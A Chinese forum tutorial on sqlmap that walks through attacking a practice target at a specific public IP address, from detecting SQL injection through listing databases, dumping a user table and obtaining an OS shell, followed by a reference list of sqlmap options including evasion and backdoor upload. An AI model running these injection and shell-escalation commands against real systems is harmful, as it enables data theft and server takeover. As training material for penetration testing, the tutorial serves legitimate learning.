首页
社区
课程
招聘
【注入工具】SQLmap实践手册基础
发表于: 2021-6-16 08:31 3043

【注入工具】SQLmap实践手册基础

2021-6-16 08:31
3043

靶场环境

  • http://59.63.200.79:8804/single.php?id=1

  • 明显存在sql注入

基础实践sqlmap形式

  • 工具安装地址:https://github.com/sqlmapproject/sqlmap

  • sqlmap实战

    • image-20210615202146348

    • 探测出含有的注入类型

      1
      sqlmap -u http://59.63.200.79:8804/single.php?id=1 --batch --threads=10
      • image-20210615202231495
    • 查库

      1
      sqlmap -u http://59.63.200.79:8804/single.php?id=1 --dbs --batch --threads=10
1
2
- ![image-20210615202426295](https://gitee.com/gylq/cloudimages/raw/master/img/image-20210615202426295.png)
- ![image-20210615202438699](https://gitee.com/gylq/cloudimages/raw/master/img/image-20210615202438699.png)
  • 查表

    1
    sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake --tables --batch --threads=10

    image-20210615202857064

  • 查值

    1
    sqlmap -u http://59.63.200.79:8804/single.php?id=1 -D cake -T user --dump --batch --threads=10

    image-20210615203002794

  • 扫不出后台地址,试试能不能直接getshell

  • 测试 --is-dba

    1
    sqlmap -u http://59.63.200.79:8804/single.php?id=1 --is-dba --batch --threads=10

    image-20210616081257017

  • 绝对路径 把is-dba改成--sql-shell

    image-20210616081642436

  • 直接 把--sql-shell改成os-shell拿到shell了

    image-20210616081758213

    image-20210616081846898

    image-20210616081946989

    image-20210616082010229

    image-20210616082035329

基础命令

一、查看数据库相关信息

  • --current-user 枚举当前用户
  • --current-db 枚举当前数据库
  • --dbs 枚举当前可用数据库
  • --is-dba 枚举当前数据库权限
  • --password 枚举当前数据库用户密码

二、指纹识别

  • -f 启用广泛的指纹识别
  • -b 检测数据库指纹
  • --hostname 枚举主机名称

三、Waf识别

  • --identify-waf 检测waf信息

四、sqlmap更新

  • --update 更新
1
2
3
4
5
小知识
如果网页是http://59.63.200.79:8804/single.php/id/1.html
可能存在伪静态 也可以在javascript中 使用 alert(document.lastModified)
直接正常注入就行
sqlmap.py -u http://59.63.200.79:8804/single.php/id/1.html

常见的注入方式

  • 基本操作上面已经写了。其他百度

  • Cookie注入

    • 1
      --cookie "id=2"
  • Post注入

    • 使用

      1
      --forms 自动搜索表单信息
    • 请求延时注入

      1
      --delay 1
    • 等级 1-5

      1
      2
      3
      --level 5
      2级以上会尝试cookie
      3级以上就对head注入
    • 自动更换请求头

      1
      2
      --user-agent
      防止被人工办了
    • 获取表中的数量

      1
      --count
    • 风险等级

      1
      2
      --risk 3
      大于2 就开始or updatexml进行测试,可能造成更新整个表。
    • --sql-shell 数据库操作

    • --os-shell 系统操作

      1
      2
      3
      4
      5
      6
      7
      条件
      一、测试--is-dba必须是true
      二、需要知道绝对路径,利用--sql-shell
      三、GPC为off,php主动转义的功能关闭
      四、secure_file-priv为空
       
      可以自动生成,上传脚本文件、后门文件

[课程]Android-CTF解题方法汇总!

收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//